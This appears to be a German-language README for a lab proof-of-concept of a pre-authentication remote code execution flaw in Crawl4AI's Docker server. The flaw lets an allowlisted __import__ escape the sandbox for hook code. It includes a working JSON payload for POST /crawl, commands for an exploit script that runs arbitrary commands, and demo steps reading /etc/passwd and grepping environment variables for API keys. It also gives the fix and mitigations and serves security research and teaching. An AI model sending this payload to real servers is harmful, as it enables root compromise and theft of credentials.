
hooks (GHSA-5882-5rx9-xgxp)CVSS 10.0 · pre-auth RCE · CWE-94 (Code Injection) Nicht authentifizierte Remote-Codeausführung auf dem Docker-Server von Crawl4AI (< 0.8.0), die den Parameter
hooksdes EndpunktsPOST /crawlmissbraucht. Ein einziges JSON im POST führt Python als root im Container aus.
Dies ist eine Labor-PoC, eigenständig und reproduzierbar, für Sicherheitsforschung und Bildungszwecke.
Der Endpunkt POST /crawl akzeptiert beliebigen Python-Code im Feld
hooks.code.<evento>. Dieser Code wird mit exec() innerhalb einer
„hausgemachten Sandbox" ausgeführt — einem Wörterbuch mit eingeschränkten Builtins.
Doch __import__ wurde auf die Allowlist gesetzt, was
__import__('os').system(...) ermöglicht und die gesamte Sandbox aushebelt.
POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}
Da das offizielle Deployment standardmäßig mit deaktiviertem JWT läuft und der Container als root läuft, ist das Ergebnis eine Root-RCE vor der Authentifizierung.
Die Sandbox scheint zu funktionieren: open, eval, exec wurden entfernt, ein
naiver Angriff (open('/etc/passwd')) wird blockiert. Das erzeugt ein falsches
Sicherheitsgefühl. Aber es genügt ein vergessenes gefährliches Builtin
(__import__), um die gesamte Stdlib (os, subprocess, socket) zu importieren, und
die Allowlist wird zur Dekoration. Eine Builtin-Allowlist ist kein Sandbox.
CVE-2026-26216/
├── README.md
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # imagem que roda como root (igual à oficial)
│ ├── requirements.txt
│ ├── server.py # FastAPI: POST /crawl sem auth
│ └── hook_manager.py # o sandbox fraco (a linha vulnerável está aqui)
└── exploit/
└── exploit.py # exploit Python (só stdlib)
Hinweis zur Fidelity.
vulnerable-app/ist eine schlanke Reproduktion des verwundbaren Codepfads von Crawl4AI (öffnet kein Chromium/Playwright), damit die PoC leichtgewichtig und 100% reproduzierbar ist. Das Sandbox-Verhalten und die Struktur des Payloads spiegeln das offizielle Advisory GHSA-5882-5rx9-xgxp wider. Die verwundbare Zeile ist invulnerable-app/hook_manager.pymarkiert.
# 1. sobe o alvo
docker compose up -d --build
# 2. demonstração completa
python3 exploit/exploit.py --target http://localhost:11235 --demo
# 3. comando arbitrário
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"
# 4. derruba
docker compose down -v
Von dort aus: Pivot in das interne Netzwerk, Diebstahl von Cloud-Zugangsdaten, Persistenz usw.
OPENAI_API_KEY, internen Tokens, Container-Secrets.All das ohne Authentifizierung.
Behoben in Crawl4AI 0.8.0:
__import__ (und eval/exec/open) entfernt aus den erlaubten Builtins.CRAWL4AI_HOOKS_ENABLED=true.Allgemeine Mitigationen:
crawl4ai >= 0.8.0.Material für autorisierte Sicherheitsforschung und Bildung. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
| # | Aktion | Auswirkung |
|---|
| 1 | open('/etc/passwd') direkt | Blockiert durch die Sandbox (falsche Sicherheit) |
| 2 | __import__('subprocess') + id/whoami | RCE als root |
| 3 | cat /etc/passwd über die Shell | Beliebiges Auslesen von Dateien |
| 4 | env | grep KEY | Exfiltration von API-Keys / Tokens |
| 5 | echo ... > /tmp/PWNED | Beliebiges Schreiben von Dateien |